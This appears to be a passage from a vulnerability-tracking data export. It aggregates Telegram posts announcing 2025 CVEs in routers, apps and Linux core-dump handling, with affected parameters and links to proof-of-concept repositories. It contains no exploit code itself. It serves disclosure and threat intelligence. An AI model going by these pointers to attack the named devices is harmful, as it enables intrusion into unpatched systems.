"source": "https://t.me/DarkWebInformer_CVEAlerts/19967", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45931\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue D-Link DIR-816-A2 DIR-816A2_FWv1.10CNB05_R1B011D88210 allows a remote attacker to execute arbitrary code via system() function in the bin/goahead file\n\ud83d\udccf Published: 2025-06-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-30T18:38:53.563Z\n\ud83d\udd17 References:\n1. http://d-link.com\n2. https://www.dlink.com/en/security-bulletin/\n3. http://dir-816-a2.com\n4. https://github.com/Synmac05/CVE-advisories/blob/main/CVE-2025-45931.md", "creation_timestamp": "2025-06-30T19:08:34.000000Z"}, {"uuid": "c3e592ee-cb71-4c17-8fb2-3cc555ac9ace", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45333", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19522", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45333\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: berkeley-abc abc 1.1 contains a Null Pointer Dereference (NPD) vulnerability in the Abc_NtkCecFraigPart function of its data processing module, leading to unpredictable program behavior, causing segmentation faults, and program crashes.\n\ud83d\udccf Published: 2025-06-25T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-25T19:36:10.772Z\n\ud83d\udd17 References:\n1. https://github.com/berkeley-abc/abc/pull/383\n2. https://gist.github.com/QiuYitai/eb49750fe58e39ce685cfd87a41eacb9", "creation_timestamp": "2025-06-25T19:48:01.000000Z"}, {"uuid": "06f7ab6e-fa22-45b7-b8fa-686b0e5ae343", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45083", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/20080", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45083\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Incorrect access control in Ullu (Android version v2.9.929 and IOS version v2.8.0) allows attackers to bypass parental pin feature via unspecified vectors.\n\ud83d\udccf Published: 2025-07-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-07-01T19:49:31.258Z\n\ud83d\udd17 References:\n1. https://pastebin.com/mFM1a3CP", "creation_timestamp": "2025-07-01T20:09:40.000000Z"}, {"uuid": "991e5e12-d048-45a1-93e5-4302eaa5a6a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45081", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/20071", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45081\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Misconfigured settings in IITB SSO v1.1.0 allow attackers to access sensitive application data.\n\ud83d\udccf Published: 2025-07-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-07-01T18:58:34.308Z\n\ud83d\udd17 References:\n1. https://pastebin.com/WH9GiMCQ", "creation_timestamp": "2025-07-01T19:09:17.000000Z"}, {"uuid": "53f85078-f979-4e1d-a873-70185e96c9ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45080", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/20074", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45080\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: YONO SBI: Banking & Lifestyle v1.23.36 was discovered to use unencrypted communicatons, possibly allowing attackers to execute a man-in-the-middle attack.\n\ud83d\udccf Published: 2025-07-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-07-01T18:47:42.832Z\n\ud83d\udd17 References:\n1. https://pastebin.com/z2gmGWP9", "creation_timestamp": "2025-07-01T19:09:20.000000Z"}, {"uuid": "9c06183f-7147-4c8c-b211-6d5f6bc3fd70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45790", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15618", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-45790\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: TOTOLINK A3100R V5.9c.1527 is vulnerable to Buffer Overflow via the priority parameter in the setMacQos interface of /lib/cste_modules/firewall.so.\n\ud83d\udccf Published: 2025-05-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-08T19:59:33.651Z\n\ud83d\udd17 References:\n1. https://github.com/SunnyYANGyaya/cuicuishark-sheep-fishIOT/blob/main/ToTolink/A3100R-4/README.md", "creation_timestamp": "2025-05-08T20:24:00.000000Z"}, {"uuid": "c0d38c1d-0393-4c68-9aa1-8b7367de94ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4531", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/15922", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2025-4531\n\ud83d\udd25 CVSS Score: 5.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability was found in Seeyon Zhiyuan OA Web Application System 8.1 SP2. It has been rated as critical. Affected by this issue is the function postData of the file ROOT\\WEB-INF\\classes\\com\\ours\\www\\ehr\\salary\\service\\data\\EhrSalaryPayrollServiceImpl.class of the component Beetl Template Handler. The manipulation of the argument payrollId leads to code injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used.\n\ud83d\udccf Published: 2025-05-11T05:31:06.887Z\n\ud83d\udccf Modified: 2025-05-11T05:31:06.887Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.308276\n2. https://vuldb.com/?ctiid.308276\n3. https://vuldb.com/?submit.566097\n4. https://wx.mail.qq.com/s?k=iGTE4n4wT2AEdHPxOR", "creation_timestamp": "2025-05-11T06:28:04.000000Z"}, {"uuid": "162a8cbe-ea82-43af-9bab-783bc0d5f3a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45620", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/40833", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE proof of concept regarding the CVE-2025-45620 vulnerabillity.\nURL\uff1ahttps://github.com/weedl/CVE-2025-45620\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-06-17T13:43:19.000000Z"}, {"uuid": "18812ae4-0732-4a3c-95de-74a1cb2ceeb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45250", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/35780", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-45250 POC\nURL\uff1ahttps://github.com/Anike-x/CVE-2025-45250\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-05-06T14:08:22.000000Z"}, {"uuid": "a4225fcf-0c81-40a5-881e-147098445364", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45466", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/41679", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aIt is the details of CVE-2025-45466\nURL\uff1ahttps://github.com/zgsnj123/CVE-2025-45466\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-06-24T06:15:58.000000Z"}, {"uuid": "6e6b7d2e-5e94-4165-ab50-1d1e7da11253", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45710", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/41598", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aCVE-2025-45710\nURL\uff1ahttps://github.com/partywavesec/CVE-2025-45710\n\n\u6807\u7b7e\uff1a#CVE-2025", "creation_timestamp": "2025-06-23T15:29:30.000000Z"}, {"uuid": "82b1d426-2b0a-4b0b-b61c-36eb16aacef2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45346", "type": "published-proof-of-concept", "source": "Telegram/y7-RpDrmSuXhLcSTuW0R9_s09Quezx-GrdrSmzgmffhhoeQ", "content": "", "creation_timestamp": "2025-08-01T03:00:09.000000Z"}, {"uuid": "0e59e1bd-8fbb-4f50-a7ea-4ffbebbe98fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45778", "type": "published-proof-of-concept", "source": "Telegram/u8Tk1Wc2POt9T15Mw3l9G1TvENAy6h4h4vyQZfJEp1FRhKw", "content": "", "creation_timestamp": "2025-07-11T09:00:04.000000Z"}, {"uuid": "6d2d166d-ee24-4ef7-9987-f653664df660", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45072", "type": "published-proof-of-concept", "source": "Telegram/Z-NB0kqyVqLEhAa_17qj1rJdITLmorpXkl4iZ1eU1E4m50E", "content": "", "creation_timestamp": "2025-07-09T21:00:05.000000Z"}, {"uuid": "61e21932-e8d3-4365-a898-79aa8796b5ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4578", "type": "exploited", "source": "Telegram/kabkSjcaer5upRB0Ibwq9GK8VGQatVOtX1VoUjYbdl2MlGc", "content": "", "creation_timestamp": "2025-07-10T21:00:04.000000Z"}, {"uuid": "2685f128-ce66-49e2-9de6-67c1b90825c1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45407", "type": "published-proof-of-concept", "source": "Telegram/Kqw6QHZMTSXJYlmHyuk_yCqMLaMjXcabrfpdp5i1qvQeAuE", "content": "", "creation_timestamp": "2025-07-03T15:00:05.000000Z"}, {"uuid": "5da2ce7c-26ea-4175-a226-16ae409012f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45466", "type": "published-proof-of-concept", "source": "Telegram/DspVTojs9Mw2epe6VpFQdnUo_JuLQmKEuUROexQWXKje2zE", "content": "", "creation_timestamp": "2025-06-24T09:00:05.000000Z"}, {"uuid": "78041aed-0376-4132-aa61-7f90a95d5959", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45710", "type": "published-proof-of-concept", "source": "Telegram/rLwJW8Sxt7uWsdYlvaJmmjpBkh3NAlLwTD4aRP5kjpBY5_E", "content": "", "creation_timestamp": "2025-06-23T21:00:07.000000Z"}, {"uuid": "76cd6850-d1fd-4f5d-9c89-00d73014efc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://t.me/ITWirklaerenauf/369", "content": "\ud83d\udee1\ufe0f Sicherheitsl\u00fccken in Linux: Was du jetzt wissen musst\n\nZwei neue Schwachstellen in Linux-Systemen machen es Angreifern m\u00f6glich, sensible Daten wie Passwort-Hashes aus sogenannten Core Dumps auszulesen. Betroffen sind vor allem Ubuntu, RHEL (Red Hat Enterprise Linux) und Fedora.\n\n\ud83e\udde9 Die Schwachstellen im \u00dcberblick:\n\n\ud83d\udd38 CVE-2025-5054\n\u2013 Betrifft das Apport-System von Ubuntu\n\u2013 Race Condition durch PID-Recycling erm\u00f6glicht Zugriff auf Core Dumps anderer Prozesse\n\u2192 Patch ist bereits verf\u00fcgbar!\n\n\ud83d\udd38 CVE-2025-4598\n\u2013 Betrifft systemd-coredump unter RHEL und Fedora\n\u2013 Angreifer k\u00f6nnen Core Dumps von SUID-Programmen einsehen\n\u2192 Noch kein offizieller Patch, Workarounds empfohlen\n\n\ud83d\udd27 Was du jetzt tun kannst:\n\u2705 Ubuntu-User: Sofort Updates einspielen!\n\ud83d\udd27 RHEL/Fedora-User: Core Dumps tempor\u00e4r deaktivieren\n\n\ud83d\udce6 Quellen & weitere Infos:\nUbuntu Security Blog:\nhttps://ubuntu.com/blog/apport-local-information-disclosure-vulnerability-fixes-available\nRed Hat Advisory:\nhttps://access.redhat.com/security/cve/CVE-2025-4598\nOriginalmeldung auf The Hacker News:\nhttps://t.me/ITWirklaerenauf/368\n\n\ud83d\udce2 F\u00fcr alle weiteren Updates & Anleitungen dazu: \nSchau in unseren Beitrag https://t.me/ITWirklaerenauf/343\u2013 dort findest du auch eine \u00dcbersicht aller Tipps f\u00fcr ein sicheres System!\n\n\ud83d\udcac Diskussion? Kommentiere in unserer Gruppe!\n\nIT\ud83d\udcf1\ud83d\udcbb WIR KL\u00c4REN AUF \u2013 Alternativen f\u00fcr eine freie digitale Zukunft!\n\n\ud83d\udd17 Kanal beitreten: @ITWirklaerenauf\n\n\ud83d\udc9a Non-Profit-Aufkl\u00e4rung \u00fcber alternative IT-L\u00f6sungen und den verantwortungsbewussten Umgang mit Technologie.\n\n\ud83d\udce3 Unsere Mission: Aufkl\u00e4rung \u00fcber Datenschutz, alternative Betriebssysteme, sichere Kommunikation und digitale Unabh\u00e4ngigkeit.\n\n\ud83d\udd16 #Linux #Sicherheitsl\u00fccke #Ubuntu #RedHat #Fedora #ITAufkl\u00e4rung #CyberSecurity #ITWirKl\u00e4renAuf", "creation_timestamp": "2025-06-01T10:45:40.000000Z"}, {"uuid": "d07e6e68-ece8-40c4-8a2e-6edea3858ba4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "Telegram/Ssg3zj1olO3v8T1fCToxfkUXtJih4QuTocs4relcqbp-tA", "content": "", "creation_timestamp": "2025-05-31T14:47:50.000000Z"}, {"uuid": "bce6ebdc-28d0-43ec-83d3-9f24ab779b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "published-proof-of-concept", "source": "Telegram/evyU1N_0NEzlqWkLQZaMrYM3OKb94J6CqLDhasOVakxq7P0", "content": "", "creation_timestamp": "2025-06-02T17:01:55.000000Z"}, {"uuid": "91ba7e15-eaf3-4aae-a7cc-b11ddfddd4b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45542", "type": "published-proof-of-concept", "source": "https://t.me/infosec_ita_notizie/1465", "content": "CVE-2025-45542: problemi di SQL Injection in PHP CloudClassroom\n\nhttps://www.insicurezzadigitale.com/cve-2025-45542-problemi-di-sql-injection-in-php-cloudclassroom/", "creation_timestamp": "2025-06-04T16:36:14.000000Z"}, {"uuid": "c283b90c-1d6c-45c3-88b4-07bb301dfcf2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "Telegram/wPI_2HvxdlbJ5U9-HRwmt_WIk2BT3LEzCeHAyR6uJhNIhRg", "content": "", "creation_timestamp": "2025-06-03T14:05:02.000000Z"}, {"uuid": "95f70ba6-83bf-43cc-aed7-106641eb5cb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4598", "type": "seen", "source": "https://t.me/CyberBulletin/3384", "content": "\u26a1\ufe0f Two Linux flaws let local attackers steal secrets from crash dumps \u2014 including password hashes.\n\nFound in Ubuntu, RHEL & Fedora, the bugs (CVE-2025-5054 & CVE-2025-4598) exploit SUID crash handling.\n\n#CyberBulletin", "creation_timestamp": "2025-06-02T09:55:51.000000Z"}, {"uuid": "c23fa1f5-a8a1-4dfa-9d79-204ca885977d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45847", "type": "seen", "source": "https://t.me/cvedetector/24828", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45847 - ALFA AIP-W512 Remote Stack-Based Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-45847 \nPublished : May 8, 2025, 4:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : ALFA AIP-W512 v3.2.2.2.3 was discovered to contain an authenticated stack overflow via the targetAPMac parameter in the formWsc function. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-08T20:07:32.000000Z"}, {"uuid": "e889e263-163d-4c5f-8dc6-105c2357e688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45835", "type": "seen", "source": "https://t.me/cvedetector/25090", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45835 - Netis WF2880 Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45835 \nPublished : May 12, 2025, 2:15 p.m. | 2\u00a0hours, 5\u00a0minutes ago \nDescription : A null pointer dereference vulnerability was discovered in Netis WF2880 v2.1.40207. The vulnerability exists in the FUN_004904c8 function of the cgitest.cgi file. Attackers can trigger this vulnerability by controlling the environment variable value CONTENT_LENGTH, causing the program to crash and potentially leading to a denial-of-service (DoS) attack. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-12T18:37:22.000000Z"}, {"uuid": "0cb65f82-ada2-4517-9c04-c5c951f5c6e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4527", "type": "seen", "source": "https://t.me/cvedetector/25034", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4527 - D\u00edgitro NGC Explorer Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4527 \nPublished : May 11, 2025, 3:15 a.m. | 2\u00a0hours ago \nDescription : A vulnerability has been found in D\u00edgitro NGC Explorer 3.44.15 and classified as problematic. This vulnerability affects unknown code of the component Password Transmission Handler. The manipulation leads to client-side enforcement of server-side security. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T07:30:06.000000Z"}, {"uuid": "465923c2-ffcb-482b-815a-fb4d1a999afa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4526", "type": "seen", "source": "https://t.me/cvedetector/25032", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-4526 - D\u00edgitro NGC Explorer Password Field Masking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-4526 \nPublished : May 11, 2025, 1:15 a.m. | 1\u00a0hour, 50\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in D\u00edgitro NGC Explorer 3.44.15. This affects an unknown part of the component Configuration Page. The manipulation leads to missing password field masking. It is possible to initiate the attack remotely. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-11T05:49:49.000000Z"}, {"uuid": "b99301eb-f2f0-4886-9f5c-90a35e43d0f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45859", "type": "seen", "source": "https://t.me/cvedetector/25216", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45859 - TOTOLINK A3002R Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-45859 \nPublished : May 13, 2025, 3:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the bandstr parameter in the formMapDelDevice interface. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T19:44:02.000000Z"}, {"uuid": "6fc2b81d-a1e3-4131-84e6-fa5f7d82928b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45861", "type": "seen", "source": "https://t.me/cvedetector/25242", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45861 - TOTOLINK A3002R Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45861 \nPublished : May 13, 2025, 7:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the routername parameter in the formDnsv6 interface. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T23:56:44.000000Z"}, {"uuid": "758b00a6-ac80-44fb-abf7-7c46c371c20a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45746", "type": "seen", "source": "https://t.me/cvedetector/25241", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45746 - ZKT ZKBio CVSecurity Hardcoded JWT Secret Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2025-45746 \nPublished : May 13, 2025, 7:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : In ZKT ZKBio CVSecurity 6.4.1_R an unauthenticated attacker can craft JWT token using the hardcoded secret to authenticate to the service console. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T23:56:42.000000Z"}, {"uuid": "fdb656d0-566a-4669-a5c6-250246e84875", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45865", "type": "seen", "source": "https://t.me/cvedetector/25240", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45865 - TOTOLINK A3002R DNS Server Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45865 \nPublished : May 13, 2025, 7:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the dnsaddr parameter in the formDhcpv6s interface. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T23:56:41.000000Z"}, {"uuid": "b70cf197-7a37-4100-8133-54ff131a737c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45863", "type": "seen", "source": "https://t.me/cvedetector/25239", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45863 - TOTOLINK A3002R Buffer Overflow in formMapDelDevice\", \n  \"Content\": \"CVE ID : CVE-2025-45863 \nPublished : May 13, 2025, 8:15 p.m. | 1\u00a0hour ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the macstr parameter in the formMapDelDevice interface. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T23:56:39.000000Z"}, {"uuid": "01f29af5-64dd-4f90-9cda-dff6b5fc11a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45866", "type": "seen", "source": "https://t.me/cvedetector/25218", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45866 - TOTOLINK A3002R Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2025-45866 \nPublished : May 13, 2025, 3:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the addrPoolEnd parameter in the formDhcpv6s interface. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-05-13T19:44:04.000000Z"}, {"uuid": "17aeedf5-620e-4f2f-819a-eb53890f8805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45864", "type": "seen", "source": "https://t.me/cvedetector/25217", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-45864 - TOTOLINK A3002R Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-45864 \nPublished : May 13, 2025, 3:15 p.m. | 1\u00a0hour, 58\u00a0minutes ago \nDescription : TOTOLINK A3002R v4.0.0-B20230531.1404 was discovered to contain a buffer overflow via the addrPoolStart parameter in the formDhcpv6s interface. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 May 2025\",\n  